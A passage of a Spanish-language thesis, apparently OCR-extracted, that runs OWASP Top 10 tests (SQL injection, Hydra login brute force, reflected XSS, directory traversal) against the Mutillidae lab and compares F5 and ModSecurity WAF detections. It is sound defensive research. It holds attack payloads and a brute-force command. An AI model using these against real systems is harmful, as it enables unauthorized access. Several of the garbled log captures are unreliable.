Sun May 22 22:53:29,391195 2016] [:error] [pid 13341] [cl1ent 192.168.10.200] ModSecurity: W 4R
\ ? 11ke\betneen and)\\\\s*?[\\"" "\\xc2\\xb4\\xe2\\x80\\x99\\xe2\\x80\ \x98 \d)](?: 2713d)) [ (7:A ,[ “""\\xc2 xbi xe2\\x80 ngg Xe
x80\\x98]$) | xc2\\xb4\\xe2\\x80\\x99\\xe2\\x80\\x98\\\\\\\\]*?(2: [\\\\ ..." at ARGS:usernane. [f11e et nodsecur1t¥ base_rules/modsecurity_crs_41_sq

injettion_atta 5. conf" ] [Tine "237"] [id "981242"] [msg "Detects c1a>s1c SqL injection prob1n s 1/2"] [data "Matched pata: ' or 1 found within ARGS:username:

1 #"] [severity "CRITICAL"] [tag "OWASP_CRS/WEB ATTACK SQL_INJECTION"] [hostname "192.168.10.1" ﬁ [uri "/muti1lidae/index.php"] [unique_id ' 'V0JQUXBAAQEAADQUQYMAAAAB”
[Sun May 22 22:53:29.498729 2016] [:error] [€1d 13341] [client 192, 168.10. 700} ModSecuri jarning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/mo
security/base_rules/modsecurity_crs_60. corre ation. conf"] [11ne "37"] [1d "081204"] [m ? Inbound Anomaly Score Exceeded (Total Inbound Score: 23, SQLi=16, XS5=0): 981
R42-Detects classic SQL inj bings 1/2"] [hostname "192.168.10.1"] [uri "/mutillidae/index.php"] [unique_id "VOJGUXSAAQEAADQUQUMAAAAB"

Fuente: El autor
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7.2. PRUEBA OWASP A2: PERDIDA DE AUTENTICACION

La pérdida de autenticaciébn o gestion de sesiones mediante el portal Metillidae
invita a realizar una prueba de fuerza bruta en el portal de autenticacion de la
pagina. Para esta prueba se hace uso de la herramienta Burp Suite, la cual
permite interceptar el trafico operando de modo proxy entre el navegador y el
portal web, cuando la interceptacion del trafico se efectia de forma adecuada se
puede analizar toda la informacion ingresada por el cliente en el navegador. En el
ataque de fuerza bruta la herramienta Burp Suite fue empleada para identificar la
sintaxis de las solicitudes que se hace desde el navegador. En la Figura 20 se
observa la informacion enviada al momento de la autenticacion.

Figura 20- Proxy con Burp Suite

Burp Intruder Repeater Window Help

[Targat Proxy | Spider | scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender I Options IAIem;

-

Intercept | HTTP history Twms.nckeu; history T Options. ]

Filter: Hiding CSS, image and general binary content

# | Host 4| Method | URL | Params | Edited | Status | Length | MIMEtype | Extension | Title
65— MUETYZ. 165, TU. TU-GUSU GET DUy FUETY ] (=) = U e crip T

169 hitp://192.168.10.10:8090 GET /mutilidac/javascriptiQueryiquery. balloon.js [m] =] 304 284 script is

170 hitp:/192.168.10.10:8090 GET /mutilidac/javascriptjQuery/colorboxiquery. colorbox-min.js [m] =] 304 284 script is

(L [¥J hitp:/192.168.10.10:8090 POST Imutilidas/index. php?page=login.php [ed] o 200 53479 HTML php

230 hitp:/[192.168.10.10:8090 POST /mutilidas/index. php?page=login.php [E4] (=] 200 53479 HTML php

231 hitp://192.168.10.10:8090 POST /mutilidas/index. php?page=login.php [E4] =] 302 629 HTML php

232 hitp:/192.168.10.10:8090 GET J/mutilidas/index. php?popUphotification Code=AU1 [E4] =] 200 48104 HTML php

233 hitp:/182.168.10.10:8090 POST mutilidas/index. php?page=login [E4] =] 200 53593 HTML php

234 hitp:#/192.168.10.10:8090 POST mutilidas/index. php?page=login.pi @ o 302 629 HTML php

235 hitp://192.168.10.10:3090 GET php?popUphiotificationCode=AU1 [E4] =] 200 48104 HTML php

237 hitp:i192.168.10.10:3090 GET Iimutilidae/javascripigritterfjquery. gritter. min_js. (=] =] 200 4714 seript is

248 hitpi/[192.168.10.10:3090 GET /mutilidae/index. php?do=logout [c4] =] 302 753 HTML php

249 hitp:/192.168.10.10:3090 GET _php hp&popUpNotificationCode=L... [c4] =] 200 54000 HTML php

EiN Pa—

Request | Response
Raw | Params T Headers T Hex

POST /mutillidae/index php’page=login php HTTE/L 1

php?page=login. php
Slge;
02255 £17cecl4lo3b0BEEdA056C £3625AT0ER 96174100899 24400a01E630609604000600086LIRETA3288a079beb 19 £21S

plication/x—www—form—urlencoded

jusernane=holaspassword=sadsslogin-php-subuit-button=Login

Fuente: El autor

Luego, con la ayuda de la herramienta Hydra se buscara encontrar la contrasefia
para el usuario Jeremy, para esto se debe suministrar la URL donde se realiza el
login, ademas del formato del usuario y contrasefa, informacion obtenida en el
paso anterior. En la Figura 21 se muestra el comando ejecutado sobre la
herramienta Hydra para realizar el ataque de fuerza bruta.
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Flura 21- Pruebas de autentlcaC|on de fuerza bruta
C-Ny -Ua-0Y

,:oot/[mcamasd/l\ mllllow pass.txt 192.168.10.10 http-post-form "/mutillidae/index.php?page=login.php:usern
| mit-button=Login:S=Logged In User" -V
Hydra v8.1 (c) 2014 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.

Hydra (http://www.thc.org/thc-hydra) starting at 2016-04-09 13:20:23

DATA] max 16 tasks per 1 server, overall 64 tasks, 14344398 login tries (1:1/p:14344398), ~14008 tries per task

DATA] attacking s http-post-form on port 80

ATTEMPT] target 192.168.10.10 - login "jeremy" - pass "123456" - 1 of 14344398 [child 0]

ATTEMPT] target 192.168.10.10 - login "jeremy" - pass "12345" - 2 of 14344398 [child 1]
"jeremy" - pass "123456789" - 3 of 14344398 [child 2]
jeremy" - pass "password" - 4 of 14344398 [child 3]

- login "jeremy" - pass "iloveyou" - 5 of 14344398 [child 4]
)
)
)

1

ATTENPT] target 192.168.10.10
ATTEMPT] target 192.168.10.10 - login "j

10

10

eremy" - pass "princess” - 6 of 14344398 [child 5]
eremy" - pass "1234567" - 7 of 14344398 [child 6]
"jeremy" - pass "rockyou" - 8 of 14344398 [child 7]

]
]
ATTEMPT] target 192.168.10.10 - login "j
]
]
]

ATTEMPT] target 192.168.10.
ATTEMPT] target 192.168.10.10 - login

Fuente: El autor

- Togin

[
[
[
[
[ATTEMPT] target 192.168.10.10 - login
[
[
[
[
[

Los resultados del ataque de fuerza bruta se observan en la Figura 22, alli se
indica que la contrasena encontrada para el usuario Jeremy fue hottie.

Figura 22- Captura de contrasefia en ataque de fuerza bruta
[ATTEWPT] target 192.168.1.10 - Login ”1:@:["@.'.m'~;” - D355 ”matth:e:w"' - J6 of 14
[ATTENPT] target 192.168.10.10 - login “jeremy" - pass "ropert” -
[60]] | h 0qin: D

[STATUS] 1434439800 tries/min, 14344398 tries i1n 66:010, 1 todo In
| of 1 target succassfully |:::|:::|m|::|.ete|::l , L valid password found
Hydra (nttp://wa.th.org/thc-hydra) finished at 2016-64-69 13:2

Fuente: El autor

En el waf de marca F5 no se detecté que se estuviera presentado un ataque de
fuerza bruta propiamente, sin embargo en sus firmas si se reporta que se esta
haciendo uso de la herramienta Hydra lo cual generaria un bloqueo en el WAF, ver
Figura 23.
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Figura 23- Deteccion ataque fuerza bruta WAF F5

Context Details for Attack Signature 200015045

Context Request

Attack signature detected violation details
Signature Mame

wWeb Server Probe ( Hydra }

Wiolation

I Attack signature detected

General Details

Requested URL TPl /mutillidaedindex. php
Security Policy Politica_Seguridad_mutillidae
Support 1D 111351437607 76660666
Time 2016-04-09 11:21:27
Request Status -~

Sewerity Informational

Violation Rating 3 -— Reqguest needs further examination
Response Status Code 200

Attack Types MSA

Username A

Session ID 409a9c5e926b5fadb

I 192.168.20.20:36262 |Add IP Address Exception...|

IP Address Intelligence: N/A  [IP Address Intelligence last updated: MNJA])

Source |IF Address

Destination IF Address o 192.1658.10.10:80

Fuente: El autor

En el WAF Modsecurity, se detectan dos eventos durante el ataque de fuerza
bruta, el primero indica que se esta haciendo uso de Hydra reportado como un
software anomalo, pero ademas se indica que se esta realizando un escaneo
sobre el sitio. En la Figura 24 mas detalles de la informacion detectado por el WAF
de ModSecurity.

Figura 24- Deteccién ataque fuerza bruta WAF Modsecurity

Deteccion de escaner

Deteccion Hydra

“aepn Ve s asetave R R T o P R St e

Non May 23 21:14:21.794941 2016] [:error] [p1d 15393 [cl1ent 192.168,20.20] ModSecurity: Warning. Matched phrase "hydra™ at REQUEST_HEADERS:User-Agent. | etc/m
dsecurity/base_rules/nodsecurity_crs_35_bad_robots. conf"] [Tine "20"] [id "990002"] [rev "2"] [msg—"Request-Tndtcates-s-Gecurity-Seanner-Seanned-the-5ite”] [data "noz
i113/5.0 (hydra)"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [taq "OWASP_CRS/AUTOMATION/SECURITY_SCANNER"] [taq "WASCTC/WASC-21"] [ta
"OWASP_TOP_10/A7"] [tag "Pc1/6.5.10"] [hostname "192,168.10.1"] [uri "/mutillidae/index.php"“] [unique_id "VOO4-X8AAQEAADWHr2KAAAA)"

%Von May 23 21:14:21.798448 2016] [:error] [pid 15391] [cIient 192,168.20.20] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score,
ecurityhaserules ers=60-cornelationsconf"] [1ine "37"] [id "981204") [msq “Inbound Anomaly Score Exceeded (Total Inbound Score: 10, SQLi=0, XS5=0): Reque
st |Indicates a Security Scanner Scanned the Site"] |[hostname "192.168.10.1"] [uri "/mutillidae/index.php"] [unique_id "v004-XBAAQEAADWT28AAAAAK"
MOTTaY 23 2T T 2L, SULTSY 0TS [ erTOr) (PT0 13392) (Client 192,168.20,20] ModSecurity: Warning. Operator GE matched 5 at TX:1nbound_anomaly_score, [file "/etc/mods
ecurity/base_rules/modsecurity_crs_60_correlation. conf"] [Tine "37"] [id "981204"] [msq "Inbound Anomaly Score Exceeded (Total Inbound Score: 10, SQLi=0, XSS=0): Reque
st Indicates a Security Scanner Scanned the Site"] [hostname "192,168.10.1"] [uri "/mutillidae/index.php"] [unique_id "V004-XBAAQEAADHGTFQAAAAL"]
[Mon May 23 21:14:21.809575 2016) [:error] [pid 15394] [client 192.168.20.20] ModSecurity: ‘n'arm'ng. vatch of "within %{tx.aﬂowed_methods?" against "REQUEST_METHOD" re
quired. [file "/etc/modsecurity/base_rules/modsecurity_crs_30_http_policy.conf"] [Tine "31"] [id "960032"] [rev "2"] [msg "Method is not allowed by policy"] [data "Pos
T"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "9"] {Eaccurac "9"] [tag "OWASP_CRS/POLICY/METHOD_NOT_ALLOWED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A
6"] [tag "OWASP_Appsensor /RE1"] [tag "pC1/12.1"] [hostnane "192.168.10.1"{ {ur "/muti11idae/index. php"] [um'que_id "V004 -XBAAQEAADW1 3BAMMAAK"]

(Mon Way 23 21:14:21.809894 2016] [:error] [pid 153%4] [client 192.168,20.20] Modsecurity: warning, Match of "rx Ak{tx.allowed_request_content_type}S" against "Tx:0" r
equired. [file "/etc/modsecurity/base_rules/modsecurity_crs_30_http_policy.conf"] [1ine "64"] [id "960010"] [rev "2"] [msg "Request content type is not allowed by poli
¢y"] [data "application/x-w-form-urlencoded”] [severity "CRITI(AL"R [ver "OWASP_CRS/2.2.9"] [maturity "9"] [accuracy "9"] [tag "OWASP_CRS/POLICY/ENCODING_NOT_ALLOWED
{ [tag "WASCTC/WASC-20"] [tag "OwASP_TOP_10/A1"] [tag "OWASP_AppSensor/E€2"] [tag "PCI/12.1"] [hostname "192.168.10.1"] [ur1 "/mutillidae/index.php"] [unique_id "voo4
;XBMQEAA?‘:‘iE‘BW'K"l“A’ LY.tPa N4 1 Cfodd arang) F20 A0 470 A8 SAY N d '] baad A rL n Lanad ) i

Fuente: El autor

66



7.3. PRUEBA OWASP A3: XSS

Para las pruebas de secuencia de comandos de sitios cruzados, en el portal
Mutillidae se presenta un campo que permite ingresar un valor hexadecimal con el
fin de cambiar el fondo de la pantalla del portal. Alli se ingresa el comando
"><script>alert('Prueba WAF XSS')</script><span " el cual es un comando de XSS
reflejado, ver figura Figura 25.

Figura 25- Pruebas A3 Secuencia de comandos en sitios cruzados (XSS)
Please enter the background color you would like to see

Enter the color in RRGGEBB format
({Example: Red = FF0000)

Background Color l"><scr|pt>a|ert['Prueba WAF XSS ")</script=<span "

[ set Background color |

[ The current backaround color is ">

ML v | (S5 Script DOM Red Cookies P Buscar por texto o selector C5!
“td < tr ¢ thody < table < form < blockquote < td < tr < tbody < table.mai.le-frame < body < html Estilo ~
I =tz> =
<tz> input, t
bordd
<tr> '
= <tr> Heredado d

<td class="lzbel">Background Color</td>

= <td> table _madi
<input id="id background color” type="text" autecfocus="1" sSize="100" name="background coclor”™ cssi i
njectionpoint="1" title=""> baxdd

Fuente: El autor
En Figura 26 se observa el resultado obtenido luego de ingresar el comando de

XSS, lo cual corresponde a una ventana emergente en el navegador.

Figura 26- Resultado A3 Secuencia de comandos en sitios cruzados (XSS)

Prueba WAF X535

Fuente: El autor
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Al revisar en el WAF de marca F5 se detecta 3 eventos, dos relacionados con XSS
catalogados como nivel 3, y un ultimo evento relacionado con el uso del parametro
alert(). En la Figura 27 se detalla la informacion detectada por el WAF de marca
F5.

Figura 27- Log WAF F5 Secuencia de comandos en sitios cruzados (XSS)

Cnntezl Details for Attack Sagnntule 200000038
Context Parameter (detected in POST Data)

Parameter Lewvel Global
Wiildcard Parameter Mame

Actual Parameter MName background_color

Parameter Value =script=alert( Prueba".'—.F_ [E=Z0jx s Sfoxzt) y=#script==span[0x20]
Detected Keyword background_color="={=scriptj=alert('Pruebaf=sosWaF0=20x S SE=20 ) </script==<span{E==9]
XSS script tag (Parameter)

XSS script tag end (Parameter) (2}

alert() (Parameter)

“iclation

I Attack signature detected

Gemneral Details

Reqguested LIRL [HTTF] fmutillid aefinde:x php
Security Policy FPolitica__Seguridad_mutilidae

Support 1D 11135 143ITEOTTEESHI24

Tinve: 2016-04-07 20:04:52

Request Status "

Sewerity Informational

‘Vioclation Rating 3 - Request needs further examination
Response Status Code 200

Attack Types M

Username A

Session ID 1316ae36f11ef218

@ 122.168.20.10:60873 |Add IP Address Exception...

Source IP Address
IP Address Intelligence: N/A  [IP Address Intelligence last updated:. MN/A]J

Drestination IF Address A 192.168.10.10: 8090

Fuente: El autor

En la revision hecha en el WAF Modsecurity se detectaron 7 eventos relacionados
con XSS referente a la prueba ejecutada, se observé que se evaluan diferentes
patrones para identificar este tipo de ataques como son la revisién de caracteres o
palabras restringidas como es “alert” o “script”, ademas se identifica que se genero
una ventana emergente con el navegador Internet Explorer (IE). En la Figura 28
mayor detalla del log de XSS en ModSecurity.
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Figura 28- Log WAF ModSecurity Secuencia de comandos en sitios cruzados (XSS)

Deteccidon de XSS

$587136156 2016] [:ercori—£ptd 153901 [
\\\\ST*2< A\ pr\) AS A\ Sg

1en( 192 16810. zoo]

\S] | sgCript[A>]*>[
e(c /mod ecurity/base_rulks, secun
55 Fﬂter = category 1: Scrlpt Ta? vector" ]1[data Natched pDatar <script>alert(’

i) (<script[A>]*>[\\\\
s] l<seript[A>]1*>[\\\
4 '] [Mine "14"] [id
Prueba WAR XS S‘ )</ i ‘thm ARGS :background_colol
CRITICAL"] [vep "OWASP_CRS/2.2.9"] [matyrity X1"] [accul "8 ~SQUASP_CRS/WEB_ATTACK/XSS!
tag wAs(Yc/wAs( 22 ] [tag "OWASP_TOP_10/A2"] [tag "OWASP_sfpSensor/IE1"] [tag "PCI/6\5.1"] Yqostname "19 -

AAQEAADWe

s1*?2<\\\\/script[A>]*>|
\S$]*2<\\\' ‘scrip(kscri
3336"] [rev "1"] [msg "X
x22><scr1pt>alert( Prue
] [tag "wASCTC/wASC-8"]
/mutillidae/index. php"” ] [unique_id "VOPIINn8

[mon may 23 22:18
<scrigt{/\>] *>

3

[Mon Ma¥ 23 22:18:58.139211 2016] [:error] [pid 15390}Tclient 192.168.10. 200{ Modsecu jty: wal n. Pattern matg \ MATDSS WA 2AN\N(" at ARGS:background_col
or. [file "/etc modse(urﬂz base_rules/modsecurity. 41_xss_attacks.conf"] [11 163 [id 9 052"] [rev = :mmn{mmmﬁm [] [data "matc
hed pata: a'lert( found within ARG a(kground_co of @ \\x22><5(r1p(>aler(( prueba waf XSS )</s(r1pt span \x22 of | Uity "CRITICAL ver "OWASP_CRS/2.2.9"] [maturit
y."8"] [accuracy "8"] [tag "OWASP_CRS WEB_ATTA 7/xss"] [tag "WASCTC/WASC-8"] [tag "WASCTC wAsc 22"] Nag "OWASP. 'rop_lo ] [tag "OWASP_Appsensor /IE1"] [tag "PCI/6.5.1

muti11ida€/index. hp"] [unique_id "VOPIINBAAQEAADWEQ-MAA
[Mon May 23 22: 18:58.140473 2016] [:errorlfpid 153903 [cnem 192.168.10.200] ModSecurity wa ning. o round_color. [file
/etc/modsecurity/base_rules/modsecuripy_crs_41_xss_attacks.conf”] [line "211"] [id "95805\"] [rev " 2" msg cross -site scrlp(mg (xss) Attack” [aa:a "Matched Data:
<script found within ARGS:background«Color: \\x22><script>alert(’ prueba waf xss')</script><gpan \\x22" [maturity "8"
accuracy “8"] [tag "OWASP_CRS/WEB_APTACK/XSS"] [tag "WASCTC /WASC-8"] [tag "WASCTC/WASC-22"] [tag "OwAsP_TOP_XQ/A2"] [tag " OhASP_Aupsensor Te1” ] [tag "PCI/6.5.1"] [host
ame “192.168.10.1"] [uri “/muti dae index.php"] " [unigue_id "VOPIINSAAQEAADWEqG-MAAAAG"]
[Mon May 23 22:18:58.141243 2016 serror Eu‘l 15390] ‘Ec'llent 192.168.10.200] ModSecurity: warning. Pattern maxch “<(a|abbr|acronym|address|applet|arealaudioscope|blb
ase| basefrontlbdc\bgsound\1 bIachacelb inl |hlackquote1bodylhq!brIbuttonlcap(mnl:enterIc1(e ode|col|colgroupNomment |dd|del|dfn|dir|div|d]]|dt|em|embed|fieldset |fn|

fon(\fu- - :background_color. [fﬂe etc/modsecurity/base_fules/modsecurity_cks_41_xss_attacks.conf”] [Tine "301"] [id "973300"] [
rev “2"] |(msg " Poss1ble xss Auack Detected |- HWL Tag Handler” % [data "matched Data: <script> “fiund within ARGS:ba ground co'lor \\x22><script>alert('prueba waf xss
)<r'scr1 . o [maturuy *8"] [accuracy "8"] [tag "OWASP_CRS/WEB\ATTACK/XSS"] [ug ASCTC/WASC-8"] [tag "WASCTC/WASC-22"] [tag "OwAsP
_TOP_] 2"] [tag "OWASP_AppSensor /TE1"] [tag "PCI/6.5.1 [hostname "192.168.10.1"] [uri “/mutil 1dae index. php”] [un que_id 'vornnawzum q-MAAAAG )

[Mon vay 23 22:18:58.141965 2016] [: error] [qid 15390] [client 192.168.10.200] ModSecurity: warnind. Pattern match "(frol - at ARGS:backg
round_color. [file "/etc/modsecurity/base_rules/modsecurity_crs_41_xss_attacks,conf” g [1ine "391" 1 id "973307"] (rev Z'ﬂ[msg xss A(ta(k Detec(ed ]Jdata "Matched D
ata: alert( found within ARGS:background_color: \\x22><script>alert(’prueba waf xss')</script><span \\\x22"] [ver "OwASP_CR “8"] [tag

acy
"OWASP_CRS/WEB_ATTACK/XSS"] [tag "WASCTC/WASC- 8" ] [tag "WASCTC/wASC-22"] [tag "OWASP_TOP_10/A2"] [tag "OWASP_Appsensor/IE1"] [tag PCI 6 S 1 ] [hos(name "192.168.10.1"
[uri”"/mutillidae/index. php"] {umque id VOPXInSAAQEAADh q-MAAAA

mon May 23 22:18:58.142639 2016] [:error) [pid 15390]) [client 192. 168 10. 200 Modsecuruty warmng Pattern match " (”1:<5cr1t."’>) at ARGS : back rour\d color. [file "
/etc/modsecurity/base_rules/modsecurity_crs_41_xss_attacks.conf" "973331"] [rev o 3 = ata Mat(hed pata: <
script> found within ARGS:background_color: \\x22><script>alert(’ Prueba WAF XSS ) /script><span ‘\x 2%, _CRS/2. i “8"]] [accuracy "8"] [t g "OwWA
SP_CRS/WEB_ATTACK/XSS"] [tag "WASCTC/WASC-8"] [tag "WASCTC/WASC-22"] [tag "OWASP_ TOP. _10/A2"] [tag "OwASP_Appsensor/ tag PCI/6. 5. oS tname 192 168.10.1"] [u
ri “/mutillidae/index.php”] [unique_ 1d “VOPIINBAAQEAADWEQ-MAAAAG
[Mon  May 23 22:18:58.143641 2016] [terror] [pid 15390] [client 192.168.10.200] wodsecurity: warning. Pattern match "(7i:[\\"\\\\'J[ 1*(([*a-20-9.

\\))" at ARGS:background_color. [file "/etc/modsecurity/base_rules/modsecurity_crs_41_xss_attacks.conf"] [line “506"] [id "973335"] [rev
rs - Auack Detected. " "] [data "Matched Data: 22><5cr1p(>a1er(( Prueba WAF XxSS') found within ARGS: background_ color “x22><s(r1p(>alert( Prueba
pan \\x22"] [ver "OWASP_CRS/2.2.9"] [malur\ty 73 [accuracy "8"] tag "OWASP. _CRS/WEB_ATTACK, Xss"] [tag "WASCTC WASC -~ 8"] [tag "WwASCTC/WASC-22"] [(ag "OWAS!|
[tag "OwASP_Appsensor/IE1"] [hostname "192. 165 ] [uri_ "/mutillidae/index.php”] [unique_id "VOPIINSAAQEAADwWeq-MAAAAG"]
[Mon May 23 22:18:58.172601 2016? | error] [ id 15390] [c'lient 192.168.10. 200] Modsecurny warning. Operator GE matched S5 at TX:inbound_anomaly_score. [file "/etc/mod
secur\t‘/ /base_rules/modsecurity_crs_60_correlation. conf"] EH "37"] [id 1204"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: &7, sqQLi=14, Xss=35): IE
XSS Filters - Attack Detected.”] [hostname "192.168.10.1"] [uri " mun]hdae,mdex php"] [unique_id "VOPIINSAAQEAADWEQ-MAAAAG"]

Fuente: El autor
7.4. PRUEBA OWASP A4: REFERENCIA DIRECTA INSEGURA A OBJETOS

En la referencia directa insegura a objetos en el portal de pruebas el escenario
gue se plantea es visualizar una lista de ficheros de texto, sin embargo mediante
esta vulnerabilidad es posible visualizarse otros ficheros de configuracion que no
estén presentes en la lista, en la Figura 29 se detalla el contenido disponible para
la prueba.

Figura 29- A4 Referencia directa insegura a objetos en el portal mutillidae

®% OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.37  Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript K1dd1e) Logged In Admin: admin (g0t r00t?)

Home Logout Toggle ts Show Popup H Toggle Security Enforce SSL  Reset DB g View Captured Data

( Hacker Files of Old

Back @ Help Me!

Hints and Videos

L}

Take the time to read some of these great old school hacker text files.
Just choose one form the list and submit.

Text File Name Intrusion Detection in Computers by Victor H. Marshall (January 29, 1991) |+

Intrusion Detection in Com)| Victor H. Marshall (January 29, 1991
An Overview of ATMs and Information on the Encoding System
How to Hold Onto UNIX Root Once You Have It

The Basics of Hacking, by the Knights of Shadow (Intro)

For other great ol¢
g HACKING 101 - By Johnny Rotten - Course #1 - Hacking, Telenet, Life

Fuente: El autor
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En la Figura 30 mediante la herramienta Burp Suite se captura la solicitud
realizada al tratar de visualizar los ficheros expuestos en la pagina, dentro de la
solicitud viaja una variable denominada textfile en la cual se define el archivo que
se desea visualizar y es alli donde se realiza la alteracion al contenido de la
pagina.

Figura 30- Captura de la visualizacién de archivo de texto
E Burp Suite Free Edition v1.6.32

Burp Intruder Repeater Window Help

[Target ]' I Spider I Scanner T Intruder T Repeater T Sequencer T Decoder T Comparer T Extender I Options TAIens ]

J I HTTP history IW&bSDckets history I Options. ]

Lﬁj Request to http:/f182.168.10.10:80

[ Forward | [ Drop | [ Intercept is on | Action |

J Raw I Params I Headers | Hex

POST /mutillidas/index._ php?page=text-file-viewer php HTTP/1.1

Host: 15I2.168.10.10

User-Agent: Mozilla/5.0 (Windows NT &€.3; WOWE4; rv:45.0) Gecko/2Z0100101 Firefox/45.0
Accept: text/html, application/xhtml+txml, application/xml;q=0_59, */*;q=0_8
Aecept-Language: es-ES, es;q=0.8,en-US;q=0.5 en;q=0.3

Accept-Encoding: gzip, deflate

Leferer: http://1l92.1€8.10.10/mutillidae/index.php?page=text-file-viewer.php

Cookie: showhints=1l; username=admin; uid=1; PHPESESSID=opb45T7g03siltncfdgsOcEElgs;
TS0137684c=013d459243566542496ded4db42d55446ded4dl06fddl11e86e591328007300cThE0f461045a8221£91454ac5bETa357d7cEac4 78385
bEDLbBdaa%aBf9e2Taal8es

Commection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 109

textfile=nttpi3A%FiFuww. textfiles. com%ZFhackingtZFauditool txtitext-file-viewer-php-submit-button=View+File

Fuente: El autor
En Figura 31 se intenta explorar otra carpeta de configuracién dentro del servidor

al dar la instruccion “../” e ingresar al fichero llamado index.php, el cual no esta
dentro de los listado en el menu inicial presentado por la pagina.
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Figura 31- Acceso a otros ficheros del portal mutillidae mediante Burp Suite

Burp Intruder Repeater Window Help

[Target T T Spider T Scanner T Intruder T Repeater T Seguencer T Decoder T Comparer T Extender T Cptions TAIerts ]

J T HTTP history T WebSockets history T Options ]

.§’| Request to httpiM52.168.10.10:80

| Forward | | Drop | ( Intercept is on | Action |
_[ Raw T Params T Headers T Hex ]

POST /mutillidae/index phpipage=text-file-wviewer. php HTTP/ 1.1

Host: 152.1&8.10.10

User-Agent: Mozilla/5.0 (Windows NT &£.3; WOWE4; rv:45.0) Gecko/Z0100101 Firefox/45.0
Accept: text/html, application/xhtml+xml  applicationsxml;gq=0.9, */*;q=0_8
Acceptb-Language: es-ES es;q=0_8,en-U3;g=0_5,en;qg=0_3

Acocept-Encoding: gzip, deflate

RPeferer: http://l52.1€8.10.10/mutillidae/index.php?page=text—-file-viewer.php

Cookie: showhints=1l; username=admin; wid=1; PHPSESSID=oph457g03siltnofdgs0cfilgs;
TS01376840=013d45243580acc9fdredT7T74dbh0EfadalfledbecSbca%e72eb022016025 1098 fad 2 ff93608ab 790043358 daeE
Scab49af3ifah08dakas080

Conmection: close

Content-Type: application/x-www-form-urlencoded
Content—-Length: 105

textfile=. . findex.phpitext-file-viewer—-php-submit-button=ViewtFile

Fuente: El autor

Al acceder a la ruta ../index.php desde la herramienta Burp Suite la pagina
muestra el contenido que tiene dicho fichero. Ver figura Figura 32.

Figura 32- Fichero accedido mediante referencia insegura

-file-viewer.php c Buscar wBa 9 %

henzar a usar Firefox Checkpoint F5 Pag. BAC Bluecoat @ VPMNSSL AAA Monitoreo Casos @ EPS Telefonica Certificacion @8 Norsq

( Hacker Files of Old

<:§ Back Q Help Me!

Hints and Videos

Take the time to read some of these great old school hacker text files.
Just choose one form the list and submit.

Text File Name Intrusion Detection in Computers by Victor H. Marshall (January 29, 1991) v

For other great old school hacking texts, check out http://www_textfiles.com/ .

File: ../index.php

Something is wrong with the XAMPP installation :-{

Fuente: El autor

Al revisar en el WAF F5 se detecta que la solicitud hecha por el usuario conincide
con el valor de “../” lo cual es catalogado por el WAF como un intento de directorio
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transversal y se considera como una violacion con una severidad de evento
informativo.

Figura _33—__Deteqci_én de referencia directa insegura a objetos en el WAF F5

Context Parameter (detected in POST Data)

Farameter Level Global

Wildcard Parameter Mame

Actual Parameter Mame textfile

Parameter Value findex php

Detected Keyword textﬁle:index.php

lﬁﬁ!ﬁﬁﬂﬁiﬂﬁﬁﬁﬂzEﬂEEElllllllllllllllllllllllllllllllrl

Signature Name Sig
Directory Traversal attempt (parameter) 200
General Details

Requested URL HTTRY /mutillidaefindex. php

Security Policy Paolitica_Seguridad_mutillidae

Support ID AMI3IS1437607 76659884

Time 2016-04-09 12:02:19

Request Status -

Sewverity Informational

Violation Rating 1 Requestis most likely a false positive

Response Status Code 200

Attack Types MNA

Username MA

Session |ID 1316ae36fM11aef218

e @ 192.168.20.10:52243 |Add IFP Address Exception...|

IF Address Intelligence: N/ [IFP Address Intelligence last updated: MAA]

Fuente: El autor

Al analizar el evento detectado por el WAF ModSecurity, se detectan 2 eventos el
primero hace referencia a una inyeccion de cédigo debido a los caracteres
ingresados, la segunda detecta que se supera el limite de caracteres permitidos,
sin embargo para esta vulnerabilidad no se relaciona el intento de acceder a otras
carpetas con si se observo con el evento reportado por el WAF de marca F5. En la
Figura 34 se detalla el log.

Figura 34- Deteccion de referencia directa insegura a objetos en el WAF ModSecurity
WNWI!UWI:MUI‘II LWMMII

[mm 71]H ][IBHWW MMamymmnmmmmmammmmmwwwwwmwwmwm
MM AR \uzb 100t 5],17)(5, 1" at ARG ot file:
1mwmm1umthUMmeum MWWHAWWKWma" PR gttt S

') (dita Watched Data: toi-fi te-fi

Mmem%wmmMm m]mfwmcmmmmn
wmﬂmwmIMmeomp LY (maturity Y] [accracy "8 {tag "ot CRSTREAT
aumeHw id mmw WMW

on ke 23 224 ]h ) [oid 15 HMm

ncwb

fcted S

m«mwmmwnamMMWWMMﬂmHMe
: ImmmWWWNMMdmﬂmmMme6mlﬁw)m
mml LAGS0.0") [ e idae e, ph") unfoue. 16 "VOPMOnge

mmmwmmmmMWVWM§ﬁmmHMMMﬂmM

afbion houolaeutl B
Fuente: El autor
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7.5. PRUEBA OWASP A5: SEGURIDAD INCORRECTA

En la vulnerabilidad A5 de OWASP se consideran esas configuraciones de
seguridad incorrectas que permiten tener acceso a los portales de administracion
o informacion sensible del portal. El reto en la pagina es encontrar los portales de
administracion secretos, tal como se observa en la Figura 35.

Figura 35- A5 configuracion de seguridad incorrecta

lidae/index.php?page=secret-administrative-pages.php c Buscar wBa o

[omenzar a usar Firefox Checkpoint F5 Pag. BAC Bluecoat @ VPMSSL AAA Monitoreo Casos @ EPS Telefonica Certificacion @

®% OWASP Mutillidae Il: Web Pwn in Mass Production

Version: 2.6.37 Security Level: 0 (Hosed) Hints: Enabled (1 - 5cript Kidd1e) Logged In Admin: admin (g0

Home Logout Toggle Hints Show Popup Hints Toggle Security Enforce SSL  Reset DB View Log View Captured D

( Secret Administrative Pages

Back e Help Me!
- =

Hints and Videos

[ "Secret" administrative or configuration pages ]

Showing server configurations on pages allowed through the firewall is a bad idea.
"Hiding" pages by not linking to them so you believe you are the only one who

knows the URL doesnt work. There are tools to brute force the URL, shoulder
Sl i i

Fuente: El autor

